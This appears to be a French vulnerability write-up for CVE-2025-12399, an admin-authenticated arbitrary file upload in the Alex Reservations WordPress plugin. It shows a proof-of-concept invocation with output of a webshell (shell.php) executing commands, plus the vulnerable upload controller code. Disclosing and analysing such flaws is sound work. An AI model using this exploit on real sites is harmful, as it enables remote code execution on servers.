d0n601/cve-2025-12399Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authentifié (Admin+) Téléversement de fichier arbitraire
Le plugin WordPress Alex Reservations (versions 2.2.3 et antérieures) contient une vulnérabilité de téléversement arbitraire de fichier qui permet à des administrateurs WordPress authentifiés de téléverser des fichiers PHP malveillants sur le serveur, pouvant potentiellement conduire à une exécution de code à distance.
Un POC CVE-2025-12399.py est fourni pour démontrer qu'un attaquant distant téléverse shell.php et exécute du code à distance :
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La vulnérabilité se trouve dans le fichier UploadFileController.php au niveau du point de terminaison /wp-json/srr/v1/app/upload/file. La fonctionnalité de téléversement ne dispose pas d'une validation appropriée des fichiers et n'effectue qu'un assainissement de base du nom de fichier à l'aide d'une expression régulière. Cela permet à des administrateurs WordPress authentifiés de téléverser des fichiers arbitraires, y compris des fichiers PHP qui peuvent être exécutés sur le serveur.
Source : entrée utilisateur depuis $_FILES['file'] (ligne 13)
Sink : copy($file['tmp_name'], $target_dir_file) (ligne 38)
La vulnérabilité se produit parce que :
routes.php.UploadFileController étend le contrôleur de base Controller.$_FILES['file'] sont directement traitées sans validation.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (ligne 50)wp-content/uploads/alexr-uploads/YYYY/MM/ sans validation du type MIME ni restriction d'extension de fichier.Fichier : includes/application/Alexr/Http/Controllers/UploadFileController.php
Lignes : 11-53
public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}